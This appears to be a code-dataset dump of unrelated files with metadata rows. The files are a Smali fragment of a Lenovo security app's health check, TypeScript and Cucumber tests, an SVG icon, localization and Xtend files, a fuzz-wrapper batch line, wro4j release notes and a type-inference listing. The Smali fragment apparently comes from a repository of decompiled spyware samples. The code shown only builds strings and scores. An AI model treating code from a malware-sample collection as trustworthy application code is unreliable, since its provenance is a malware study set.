invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
iget-object v3, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
const v4, 0x7f0d05d6
invoke-virtual {v3, v4}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v3
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
iget-object v3, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
const v4, 0x7f0d048d
invoke-virtual {v3, v4}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v3
invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
move-result-object v2
invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
move-result-object v2
iput-object v2, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->content:Ljava/lang/String;
.line 58
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iput v5, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->view_type:I
.line 59
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
const/4 v2, 0x3
iput v2, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->weight:I
.line 60
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iput-boolean v6, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->isOnly:Z
.line 61
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->result:Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;
iget-object v2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mContext:Landroid/content/Context;
const v3, 0x7f0d003a
invoke-virtual {v2, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
move-result-object v2
iput-object v2, v1, Lcom/lenovo/safecenter/HealthCheck/HealthItemResult;->action_description:Ljava/lang/String;
.line 62
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
invoke-virtual {v1, v5, v7}, Lcom/lenovo/safecenter/HealthCheck/HealthManager;->plusOrDecrementNumItem(IZ)V
.line 64
iput v5, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mPreViewType:I
.line 65
iget-object v1, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
iget-object v2, p0, Lcom/lenovo/safecenter/HealthCheck/item/HealthProtectVirus;->mHealthManager:Lcom/lenovo/safecenter/HealthCheck/HealthManager;
invoke-virtual {v2}, Lcom/lenovo/safecenter/HealthCheck/HealthManager;->getScore()I
move-result v2
add-int/lit8 v2, v2, -0x8
invoke-virtual {v1, v2}, Lcom/lenovo/safecenter/HealthCheck/HealthManager;->setScore(I)V
goto :goto_0
.end method
| Smali | 3 | jarekankowski/pegasus_spyware | sample4/decompiled_raw/smali/com/lenovo/safecenter/HealthCheck/item/HealthProtectVirus.smali | [
"MIT"
] |
/// <reference path="fourslash.ts"/>
////class Foo {
//// private y;
//// constructor(private x) {}
//// method() { this./*1*/; }
////}
////var f:Foo;
////f./*2*/
verify.completions(
{ marker: "1", exact: ["method", "x", "y"] },
{ marker: "2", exact: "method" },
);
| TypeScript | 4 | monciego/TypeScript | tests/cases/fourslash/completionListPrivateMembers2.ts | [
"Apache-2.0"
] |
# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
Feature: Outputting Value Objects implementing IGListDiffable
@announce
Scenario: Generating a value object, which correctly implements IGListDiffable using the specified diffIdentifier
Given a file named "project/values/IGListDiffableTest.value" with:
"""
IGListDiffableTest includes(IGListDiffable) {
CGRect someRect
%diffIdentifier NSString *stringOne
}
"""
When I run `../../bin/generate project`
Then the file "project/values/IGListDiffableTest.h" should contain:
"""
#import <Foundation/Foundation.h>
#import <CoreGraphics/CGGeometry.h>
#import <IGListKit/IGListDiffable.h>
@interface IGListDiffableTest : NSObject <IGListDiffable, NSCopying>
@property (nonatomic, readonly) CGRect someRect;
@property (nonatomic, readonly, copy) NSString *stringOne;
+ (instancetype)new NS_UNAVAILABLE;
- (instancetype)init NS_UNAVAILABLE;
- (instancetype)initWithSomeRect:(CGRect)someRect stringOne:(NSString *)stringOne NS_DESIGNATED_INITIALIZER;
@end
"""
And the file "project/values/IGListDiffableTest.m" should contain:
"""
- (id<NSObject>)diffIdentifier
{
return _stringOne;
}
"""
And the file "project/values/IGListDiffableTest.m" should contain:
"""
- (BOOL)isEqualToDiffableObject:(nullable id<IGListDiffable>)object
{
return [self isEqual:object];
}
"""
Scenario: Generating a value object, which correctly implements IGListDiffable using a CGRect property
Given a file named "project/values/IGListDiffableTest2.value" with:
"""
IGListDiffableTest2 includes(IGListDiffable) {
%diffIdentifier CGRect someRect
}
"""
When I run `../../bin/generate project`
Then the file "project/values/IGListDiffableTest2.h" should contain:
"""
#import <Foundation/Foundation.h>
#import <CoreGraphics/CGGeometry.h>
#import <IGListKit/IGListDiffable.h>
@interface IGListDiffableTest2 : NSObject <IGListDiffable, NSCopying>
@property (nonatomic, readonly) CGRect someRect;
+ (instancetype)new NS_UNAVAILABLE;
- (instancetype)init NS_UNAVAILABLE;
- (instancetype)initWithSomeRect:(CGRect)someRect NS_DESIGNATED_INITIALIZER;
@end
"""
And the file "project/values/IGListDiffableTest2.m" should contain:
"""
- (id<NSObject>)diffIdentifier
{
return [NSValue valueWithCGRect:_someRect];
}
"""
And the file "project/values/IGListDiffableTest2.m" should contain:
"""
- (BOOL)isEqualToDiffableObject:(nullable id<IGListDiffable>)object
{
return [self isEqual:object];
}
"""
Scenario: Generating a value object, which correctly implements IGListDiffable using an NSInteger property
Given a file named "project/values/IGListDiffableTest3.value" with:
"""
IGListDiffableTest3 includes(IGListDiffable) {
%diffIdentifier NSInteger count
}
"""
When I run `../../bin/generate project`
Then the file "project/values/IGListDiffableTest3.m" should contain:
"""
- (id<NSObject>)diffIdentifier
{
return @(_count);
}
"""
And the file "project/values/IGListDiffableTest3.m" should contain:
"""
- (BOOL)isEqualToDiffableObject:(nullable id<IGListDiffable>)object
{
return [self isEqual:object];
}
"""
Scenario: Generating a value object, which correctly implements IGListDiffable defaulting to self as diffIdentifier
Given a file named "project/values/IGListDiffableTest4.value" with:
"""
IGListDiffableTest4 includes(IGListDiffable) {
CGRect someRect
}
"""
When I run `../../bin/generate project`
Then the file "project/values/IGListDiffableTest4.h" should contain:
"""
#import <Foundation/Foundation.h>
#import <CoreGraphics/CGGeometry.h>
#import <IGListKit/IGListDiffable.h>
@interface IGListDiffableTest4 : NSObject <IGListDiffable, NSCopying>
@property (nonatomic, readonly) CGRect someRect;
+ (instancetype)new NS_UNAVAILABLE;
- (instancetype)init NS_UNAVAILABLE;
- (instancetype)initWithSomeRect:(CGRect)someRect NS_DESIGNATED_INITIALIZER;
@end
"""
And the file "project/values/IGListDiffableTest4.m" should contain:
"""
- (id<NSObject>)diffIdentifier
{
return self;
}
"""
And the file "project/values/IGListDiffableTest4.m" should contain:
"""
- (BOOL)isEqualToDiffableObject:(nullable id<IGListDiffable>)object
{
return [self isEqual:object];
}
"""
| Cucumber | 4 | ztao2010/IGListKit | remodel-plugin/features/iglistdiffable.feature | [
"MIT"
] |
<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 20 20" height="20" viewBox="0 0 20 20" width="20"><g><rect fill="none" height="20" width="20"/></g><g><g><circle cx="14.5" cy="5.5" r="2.5"/><path d="M12.34,11.51L5.97,5.15c-0.2-0.2-0.51-0.2-0.71,0L3.15,7.26c-0.2,0.2-0.2,0.51,0,0.71l6.36,6.36c0.2,0.2,0.51,0.2,0.71,0 l2.12-2.12C12.53,12.02,12.53,11.71,12.34,11.51z"/><rect height="4" transform="matrix(0.7071 -0.7071 0.7071 0.7071 -6.9645 13.9853)" width="1" x="12.9" y="13.4"/></g></g></svg> | SVG | 2 | elisoncrum/piipan | query-tool/src/Piipan.QueryTool/wwwroot/images/usa-icons-unused/sports_cricket.svg | [
"CC0-1.0"
] |
/* vim: ft=javascript:ts=4:sw=4
*/
/* strings */
<newFile "New File">
<close "Close">
/* parameters */
<luckyNum "Your lucky number is: {{num}}">
<signedIn "You're signed in as {{login}}">
/* attributes */
<nameInput
placeholder: "Write your name"
title: "You can give us your nickname if you prefer">
/* content + attributes */
<buttonClick "Click me"
info: "{{buttonClick.title}}"
title: "use Ctrl+{{buttonClick.accesskey}}"
accesskey: "c">
/* arrays */
<drinks[num] [
"Coca Cola",
"Gatorade",
"Water"
]>
/* lists */
<cookie[form] {
one: "Cookie",
many: "Cookies"
}>
/* nested lists */
<moreDrinks[type,num] {
cup: { one: "Cup", many: "Cups" },
pot: { one: "Pot", many: "Pots" }
}>
/* macros */
<plural(n) { n == 1 ? 'one' : 'many' }>
<download[plural(count)] {
one: "one download",
many: "{{count}} downloads"
}>
| LOLCODE | 3 | SunboX/webL10n | LOL/data/test.lol | [
"WTFPL",
"MIT"
] |
%_NTTREE%\unittests\conterm.parser.fuzzwrapper.exe %1 %2 %3 %4 %5 %6 | Batchfile | 0 | Ghosty141/Terminal | src/terminal/parser/ft_fuzzwrapper/run.bat | [
"MIT"
] |
package org.xtendroid.xtendroidtest.json
import org.xtendroid.json.AndroidJson
import java.util.Date
import java.util.List
@AndroidJson
class AndroidJsonTest1 {
Date date
Date[] dateArray
List<Date> dateList
}
class AndroidJsonTest2 {
@AndroidJson
Date date
@AndroidJson
Date[] dateArray
@AndroidJson
List<Date> dateList
} | Xtend | 3 | kusl/Xtendroid | XtendroidTest/src/org/xtendroid/xtendroidtest/json/AndroidJsonTest.xtend | [
"MIT"
] |
#summary Higlights of 1.4.1 release
= Introduction =
wro4j-1.4.1 is a minor release of 1.4.x branch, containing several small fixes and improvements. You can easily migrate to 1.4.1 from 1.4.0, because it is backward compatible. For a complete list of fixed issues, check-out the [ReleaseNotes release notes] page.
Small note: if you are not using maven for dependency management and add wro4j manually into your classpath, be sure you add other transitive dependencies used by wro4j-extensions module (ex: [http://search.maven.org/remotecontent?filepath=org/dojotoolkit/dojo-shrinksafe/1.6.1/dojo-shrinksafe-1.6.1.jar dojo-shrinksafe.jar])
= Details =
Below are described the most notable features & improvements of the 1.4.0 release.
== Maven plugin and jshint, csslint goals ==
When you use wro4j maven plugin with custom wroManagerFactory implementation with one of the following goals: jshint or csslint, only jshint (or cssLint) processor will be used even if you have defined a different processorsFactory.
== Upgrades ==
The following processors have been updated to use latest versions of embedded libraries:
* jshint
* csslint
* uglifyJs
* coffeeScript
== Create !ExtensionAwareProcessorDecorator ==
!ExtensionAwareProcessorDecorator is a decorator for other processors used to simplify the way you restrict the usage of some processors on resources having a specific extension.
One use-case is, using !CoffeeScriptProcessor on resources having {{{*.coffee}}} extension. This can be achieved this way:
{{{
ResourcePreProcessor processor = ExtensionsAwareProcessorDecorator.decorate(new CoffeeScriptProcessor()).addExtension(
"coffee");
}}}
When a post processor is decorated, there is no restriction regarding the processing. In other words, when resource extension is unknown, the processor is applied with no restrictions.
Also, this decorator is used by default when you configure processors with alias (using !ConfigurableWroFilter or similar (wro.properties file, wro4j-runner command line configuration). For example, the same as the above code can be achieved with:
{{{
preProcessors=coffeeScript.coffee
}}}
Notice the following pattern:
{{{
<ALIAS>.<EXTENSION>
}}}
The processor associated with {{{ALIAS}}} will be processed only on resources having specified extension.
== Extend !JsHint option configuration ==
Until now, jsHint processor allowed only options of the following format:
{{{
devel, curly, forin, immed
}}}
Now the following options are also accepted:
{{{
predef=['YUI'], maxerr=1000
}}}
These options are a valid type of configuration options for jsHint. | MediaWiki | 3 | supakiad/wro4j | docs/ReleaseHighlights_1_4_1.wiki | [
"Apache-2.0"
] |
0 reg32_t "dword"
1 ptr(struct(0:num32_t,4:ptr(TOP),8:ptr(TOP))) "_SCOPETABLE_ENTRY*"
2 uint32_t "UINT"
3 code_t "proc*"
4 ptr(struct(0:array(reg8_t,12),12:reg32_t)) "StructFrag_41*"
5 ptr(array(reg8_t,6)) "unknown_48*"
6 ptr(TOP) "void*"
7 num8_t "char"
8 array(reg8_t,3) "unknown_24"
9 ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))) "FILE*"
10 num64_t "long long"
11 union(float32_t,int32_t,ptr(struct()),ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(ptr(struct(0:reg32_t,8:ptr(struct(0:reg32_t,8:ptr(array(reg8_t,12))))))),ptr(struct(0:ptr(TOP),4:union(num32_t,float32_t),8:union(num32_t,float32_t),12:union(num32_t,float32_t),16:num8_t,17:num8_t,20:union(num32_t,float32_t),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)))) "Union_107"
12 ptr(reg32_t) "dword*"
3 code_t "(void -> int)*"
2 uint32_t "unsigned int"
13 ptr(num8_t) "LPSTR"
14 ptr(struct(0:reg32_t,4:reg32_t)) "_FILETIME*"
0 reg32_t "HANDLE"
15 ptr(union(num64_t,struct(0:reg32_t,4:num32_t))) "Union_7*"
16 ptr(struct(0:reg16_t,2:reg16_t,4:array(num8_t,257),261:array(num8_t,129),390:uint16_t,392:uint16_t,396:ptr(num8_t))) "WSAData*"
13 ptr(num8_t) "char*"
17 num32_t "int"
18 ptr(struct(0:uint32_t,4:uint16_t,6:uint16_t,8:num16_t,10:num16_t,12:num16_t,16:uint32_t,20:num32_t,24:num32_t,28:num32_t,32:num32_t)) "stat*"
2 uint32_t "size_t"
2 uint32_t "u_int"
19 ptr(struct(0:uint16_t,2:array(num8_t,14))) "sockaddr*"
20 ptr(num32_t) "time_t*"
21 ptr(uint32_t) "u_long*"
3 code_t "(_In_ void*,_In_ void* -> int)*"
22 ptr(struct(0:uint32_t,4:array(uint32_t,64))) "fd_set*"
20 ptr(num32_t) "int[]"
3 code_t "(void -> void)*"
23 float64_t "double"
24 ptr(int32_t) "signed int*"
25 ptr(float32_t) "float*"
13 ptr(num8_t) "char[]"
26 reg16_t "word"
27 ptr(ptr(num8_t)) "char**"
28 ptr(struct(0:reg32_t,4:ptr(num8_t),8:ptr(num8_t))) "Struct_228*"
29 ptr(array(reg8_t,3)) "unknown_24*"
30 ptr(array(reg8_t,16)) "unknown_128*"
31 ptr(reg64_t) "qword*"
27 ptr(ptr(num8_t)) "char[][]"
32 ptr(struct(0:ptr(num8_t),4:ptr(num8_t),8:ptr(num8_t))) "Struct_227*"
33 union(ptr(ptr(num8_t)),ptr(struct(0:ptr(num8_t),4:ptr(num8_t),8:ptr(num8_t)))) "Union_8"
34 ptr(struct(0:ptr(num8_t),4:ptr(ptr(num8_t)),8:num16_t,10:num16_t,12:ptr(ptr(num8_t)))) "hostent*"
20 ptr(num32_t) "int*"
35 ptr(ptr(TOP)) "void**"
36 int32_t "signed int"
37 union(code_t,ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t)))) "Union_9"
38 ptr(ptr(reg32_t)) "dword**"
39 array(reg8_t,13) "unknown_104"
40 ptr(array(reg8_t,1024)) "unknown_8192*"
41 union(ptr(reg32_t),uint32_t) "Union_10"
42 array(reg8_t,6) "unknown_48"
43 ptr(struct(0:reg32_t,4:reg32_t,8:float32_t,20:reg32_t,24:reg32_t,28:float32_t,32:float32_t,36:float32_t,108:reg32_t)) "Struct_73*"
44 ptr(struct(0:ptr(num8_t),12:reg32_t,16:ptr(float64_t))) "Struct_230*"
45 float32_t "float"
46 ptr(reg16_t) "word*"
47 reg64_t "qword"
17 num32_t "clock_t"
48 ptr(array(reg8_t,52)) "unknown_416*"
49 ptr(struct(0:float32_t,4:reg32_t,8:reg32_t)) "Struct_664*"
50 union(ptr(struct(0:array(reg8_t,20),20:reg32_t)),ptr(struct(0:float32_t,4:float32_t,8:float32_t,12:float32_t))) "Union_90"
51 union(ptr(struct(0:reg32_t,4:float32_t,8:float32_t,12:float32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t))) "Union_92"
52 ptr(struct(0:array(reg8_t,20),20:reg32_t)) "StructFrag_13*"
53 ptr(ptr(float32_t)) "float**"
54 ptr(struct(0:array(reg8_t,24),24:reg32_t)) "StructFrag_25*"
55 ptr(ptr(struct(4:float32_t,8:float32_t,12:float32_t))) "Struct_167**"
56 ptr(struct(4:float32_t,8:float32_t,12:float32_t,16:float32_t,20:float32_t,24:float32_t)) "Struct_144*"
57 ptr(struct(12:ptr(struct(0:reg32_t,4:ptr(struct(8:uint32_t,12:reg32_t,20:reg32_t)))),16:ptr(ptr(struct(0:array(reg8_t,112),112:reg32_t))),24:num32_t,28:num32_t,32:num32_t,36:float32_t,40:num32_t,44:num32_t,48:num32_t,52:num32_t,60:num32_t,80:reg32_t)) "Struct_347*"
58 ptr(struct(4:ptr(struct(0:array(reg8_t,12),12:reg32_t)),12:ptr(struct(0:reg32_t,4:ptr(reg32_t))),52:reg32_t,64:ptr(TOP),68:reg32_t,72:reg32_t)) "Struct_238*"
59 ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,32:ptr(TOP))) "Struct_185*"
27 ptr(ptr(num8_t)) "char[]*"
60 ptr(struct(4:ptr(struct(0:reg64_t,8:reg32_t)),12:ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(TOP),8:uint32_t,12:reg32_t,16:reg32_t,20:reg32_t)))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,52:reg32_t,60:reg32_t,64:ptr(struct()))) "Struct_247*"
61 ptr(struct(12:ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(TOP),8:reg32_t)))),64:ptr(TOP),68:reg32_t)) "Struct_163*"
62 ptr(struct()) "Struct_3*"
63 ptr(struct(0:reg64_t,8:num32_t)) "StructFrag_96*"
64 struct(0:ptr(TOP)) "Singleton_0"
65 ptr(struct(0:ptr(TOP))) "Singleton_0*"
66 ptr(struct(0:ptr(num8_t),4:reg32_t,8:reg32_t,12:reg32_t,16:ptr(struct(8:float32_t,12:ptr(num8_t),16:ptr(TOP))))) "Struct_194*"
67 ptr(struct(0:ptr(TOP),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))) "Struct_102*"
68 ptr(ptr(struct(0:ptr(TOP)))) "Singleton_0**"
69 ptr(struct(8:ptr(TOP),12:ptr(struct(4:ptr(struct(0:reg64_t,8:reg32_t)),8:ptr(TOP))))) "Struct_198*"
70 union(struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(struct(4:uint32_t,24:ptr(TOP))),8:ptr(array(reg8_t,12)))) "Union_15"
71 ptr(struct(0:reg32_t,4:ptr(struct(0:reg64_t,8:reg32_t)))) "StructFrag_60*"
72 ptr(struct(0:reg32_t,4:ptr(struct(0:array(reg8_t,12),12:reg32_t)))) "StructFrag_65*"
73 ptr(struct(0:union(float32_t,uint32_t),4:union(float32_t,uint32_t),8:float32_t,20:union(float32_t,uint32_t),24:union(float32_t,uint32_t),28:float32_t,32:float32_t,36:float32_t,108:union(float32_t,uint32_t))) "Struct_269*"
74 ptr(struct(0:union(float32_t,uint32_t),4:union(float32_t,uint32_t),8:union(float32_t,uint32_t),12:union(float32_t,uint32_t),16:union(float32_t,uint32_t),20:union(float32_t,uint32_t),24:union(float32_t,uint32_t),28:union(float32_t,uint32_t),32:union(float32_t,uint32_t),36:union(float32_t,uint32_t))) "Struct_268*"
75 ptr(struct(0:array(reg8_t,32),32:uint32_t)) "StructFrag_36*"
46 ptr(reg16_t) "word[]"
76 ptr(struct(0:float32_t,8:reg32_t,16:uint32_t,20:uint32_t,28:uint32_t,32:float32_t,40:ptr(TOP),44:ptr(struct(8:uint32_t,24:reg32_t)),52:reg16_t,56:ptr(struct(0:array(reg8_t,72),72:reg64_t)))) "Struct_251*"
77 ptr(struct(0:float32_t,16:uint32_t,20:uint32_t,28:uint32_t,32:float32_t,36:ptr(TOP),40:reg32_t,44:ptr(struct(8:uint32_t,24:ptr(TOP))),52:reg16_t,56:ptr(struct(0:array(reg8_t,72),72:reg64_t)))) "Struct_241*"
77 ptr(struct(0:float32_t,16:uint32_t,20:uint32_t,28:uint32_t,32:float32_t,36:ptr(TOP),40:reg32_t,44:ptr(struct(8:uint32_t,24:ptr(TOP))),52:reg16_t,56:ptr(struct(0:array(reg8_t,72),72:reg64_t)))) "Struct_242*"
78 array(reg8_t,5) "unknown_40"
79 ptr(array(reg8_t,4096)) "unknown_32768*"
58 ptr(struct(4:ptr(struct(0:array(reg8_t,12),12:reg32_t)),12:ptr(struct(0:reg32_t,4:ptr(reg32_t))),52:reg32_t,64:ptr(TOP),68:reg32_t,72:reg32_t)) "Struct_237*"
80 ptr(struct(0:ptr(num8_t),8:reg32_t,12:reg32_t,32:ptr(TOP),40:float64_t)) "Struct_245*"
81 ptr(ptr(struct(0:reg32_t,32:ptr(TOP)))) "Struct_235**"
82 union(uint32_t,uint32_t) "Union_18"
83 ptr(struct(0:num32_t,4294967292:ptr(struct()))) "Struct_295*"
84 union(ptr(struct(0:array(reg8_t,16),16:ptr(TOP))),ptr(struct(0:reg64_t,8:ptr(TOP)))) "Union_5"
85 ptr(struct(0:ptr(num32_t),4:ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(reg64_t))),4:ptr(ptr(reg32_t)))),12:reg32_t)) "Struct_486*"
86 ptr(array(reg8_t,256)) "unknown_2048*"
87 union(ptr(ptr(reg32_t)),ptr(struct(0:array(reg8_t,16),16:ptr(TOP)))) "Union_13"
88 ptr(union(ptr(ptr(reg32_t)),ptr(struct(0:ptr(TOP))))) "Union_14*"
89 union(ptr(reg32_t),ptr(struct(0:ptr(struct()),4:reg32_t,28:reg32_t,32:reg32_t,36:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,52:reg32_t,56:reg32_t,60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,92:reg32_t))) "Union_87"
90 union(ptr(reg32_t),ptr(struct())) "Union_88"
12 ptr(reg32_t) "dword[]"
91 ptr(ptr(struct(0:ptr(TOP),4:ptr(TOP),8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,52:reg32_t,60:reg32_t,64:reg32_t,68:num32_t,72:reg32_t))) "Struct_624*[]"
92 ptr(ptr(struct())) "Struct_3*[]"
93 ptr(struct(0:array(reg8_t,52),52:reg32_t)) "StructFrag_56*"
94 ptr(struct(0:ptr(TOP),56:reg32_t)) "Struct_641*"
21 ptr(uint32_t) "size_t*"
95 ptr(struct(0:array(reg8_t,20),20:ptr(TOP))) "StructFrag_7*"
96 union(struct(0:ptr(reg64_t),4:ptr(reg64_t)),ptr(struct(0:ptr(TOP),4:ptr(TOP))),ptr(ptr(struct(0:ptr(TOP),4:ptr(TOP))))) "Union_67"
97 ptr(struct(0:ptr(struct(0:ptr(TOP),56:reg32_t)),52:reg32_t)) "Struct_642*"
98 ptr(struct(0:ptr(struct()),4:reg32_t,28:reg32_t,32:reg32_t,36:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,52:reg32_t,56:reg32_t,60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,92:reg32_t)) "Struct_603*"
38 ptr(ptr(reg32_t)) "dword[][]"
99 ptr(struct(8:ptr(TOP),12:reg16_t)) "Struct_304*"
100 ptr(struct(0:array(reg8_t,20),20:ptr(ptr(struct(0:array(reg8_t,14),14:reg16_t))))) "StructFrag_34*"
101 ptr(struct(0:reg32_t,12:ptr(TOP),16:reg32_t,20:ptr(ptr(struct(0:array(reg8_t,12),12:reg16_t))))) "Struct_30*"
102 ptr(struct(0:array(reg8_t,12),12:ptr(TOP))) "StructFrag_26*"
103 ptr(struct(0:ptr(num8_t),12:ptr(TOP))) "Struct_58*"
104 ptr(struct(0:union(ptr(reg32_t),ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(28:reg32_t,32:ptr(TOP)))),4:ptr(TOP))) "Struct_313*"
105 union(ptr(ptr(struct(28:reg32_t,32:ptr(TOP)))),ptr(struct(0:union(ptr(reg32_t),ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(28:reg32_t,32:ptr(TOP)))),4:ptr(TOP)))) "Union_23"
106 union(ptr(reg32_t),ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(28:reg32_t,32:ptr(TOP)))) "Union_22"
107 ptr(struct(0:uint32_t,8:reg32_t,12:ptr(struct(0:reg64_t,8:ptr(num8_t))),16:reg32_t,20:ptr(TOP))) "Struct_56*"
108 ptr(ptr(struct(0:reg32_t,8:ptr(struct(0:reg32_t,8:ptr(struct(0:reg64_t,8:ptr(TOP)))))))) "Struct_60**"
109 ptr(struct(0:array(reg8_t,112),112:reg32_t)) "StructFrag_14*"
110 ptr(struct(4:reg32_t,8:reg32_t,12:ptr(struct(0:reg64_t,8:ptr(num8_t))))) "Struct_208*"
111 ptr(struct(0:array(reg8_t,236),236:ptr(TOP))) "StructFrag_32*"
112 union(ptr(struct(4:reg32_t,12:ptr(TOP))),ptr(struct(0:array(reg8_t,236),236:ptr(TOP)))) "Union_25"
113 ptr(struct(0:reg16_t,2:reg16_t)) "StructFrag_63*"
114 ptr(struct(0:ptr(TOP),40:ptr(TOP),48:num32_t,80:float64_t,104:num32_t)) "Struct_320*"
115 ptr(struct(0:ptr(TOP),4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:uint32_t,20:ptr(TOP),24:uint32_t,28:ptr(TOP),32:uint32_t,36:ptr(TOP),48:uint32_t,52:uint32_t,56:uint32_t)) "Struct_321*"
116 ptr(struct(0:ptr(TOP),40:ptr(TOP),48:reg32_t,80:float64_t,104:reg32_t)) "Struct_70*"
117 ptr(struct(4:reg32_t,12:ptr(TOP))) "Struct_55*"
118 ptr(struct(12:ptr(TOP),44:uint32_t,80:float64_t,88:float64_t,96:float64_t,104:reg32_t,108:ptr(TOP))) "Struct_69*"
119 ptr(struct(0:float32_t,4:reg16_t,6:reg16_t)) "Struct_315*"
120 ptr(struct(0:reg32_t,4:ptr(num8_t),8:ptr(TOP),12:reg32_t)) "Struct_325*"
121 ptr(array(reg8_t,24)) "unknown_192*"
122 ptr(struct(0:array(reg8_t,16),16:reg32_t)) "StructFrag_8*"
123 ptr(struct(0:reg64_t,8:ptr(reg32_t))) "StructFrag_66*"
38 ptr(ptr(reg32_t)) "dword[]*"
124 ptr(ptr(struct(0:reg16_t,2:reg16_t))) "StructFrag_63**"
125 ptr(struct(0:ptr(num8_t),8:reg32_t,12:reg32_t,16:reg32_t)) "Struct_193*"
126 ptr(struct(0:reg64_t,8:ptr(num32_t))) "StructFrag_90*"
127 ptr(struct(0:array(reg8_t,16),16:ptr(num32_t))) "StructFrag_183*"
128 ptr(struct(0:float32_t,4:float32_t,8:float32_t,12:float32_t,16:float32_t,20:float32_t)) "Struct_721*"
129 ptr(struct(0:reg32_t,4:num32_t)) "StructFrag_99*"
130 ptr(struct(4:float32_t,8:float32_t,16:float32_t,20:float32_t,24:float32_t)) "Struct_145*"
131 ptr(ptr(array(reg8_t,52))) "unknown_416**"
35 ptr(ptr(TOP)) "void*[]"
132 ptr(struct(0:reg64_t,8:reg32_t)) "StructFrag_9*"
133 ptr(ptr(struct(0:reg32_t,4:ptr(TOP)))) "StructFrag_2*[]"
134 union(ptr(reg32_t),ptr(struct(0:reg64_t,8:reg32_t))) "Union_91"
135 union(ptr(num8_t),ptr(struct(0:reg16_t,2:num8_t))) "Union_24"
136 union(float32_t,ptr(num8_t)) "Union_36"
137 ptr(struct(0:reg32_t,12:reg32_t,16:ptr(float64_t))) "Struct_203*"
138 union(num32_t,ptr(num8_t)) "Union_43"
139 ptr(struct(8:union(num32_t,ptr(num8_t)),32:reg32_t)) "Struct_469*"
140 union(ptr(struct(0:ptr(num8_t),12:reg32_t,16:ptr(float64_t))),ptr(struct(8:union(num32_t,ptr(num8_t)),32:reg32_t))) "Union_60"
141 ptr(struct(0:float32_t,4294967284:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_218*"
142 ptr(struct(0:float32_t,4294967280:float32_t,4294967284:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_681*"
143 ptr(struct(0:float32_t,4294967280:reg32_t,4294967284:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_459*"
144 union(ptr(reg32_t),ptr(struct(4:uint32_t,24:ptr(TOP)))) "Union_58"
145 union(ptr(struct(0:ptr(reg32_t),8:ptr(TOP))),ptr(struct(0:ptr(TOP),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)))) "Union_26"
146 union(ptr(reg32_t),ptr(ptr(struct(0:ptr(reg32_t),8:ptr(TOP))))) "Union_27"
147 ptr(struct(4:ptr(TOP),8:ptr(TOP))) "Struct_196*"
148 ptr(struct(4:ptr(struct(0:reg64_t,8:reg32_t)),8:ptr(TOP))) "Struct_197*"
149 ptr(struct(8:ptr(struct(4:ptr(TOP),8:ptr(TOP))),12:ptr(struct(4:ptr(struct(0:reg64_t,8:reg32_t)),8:ptr(TOP))))) "Struct_338*"
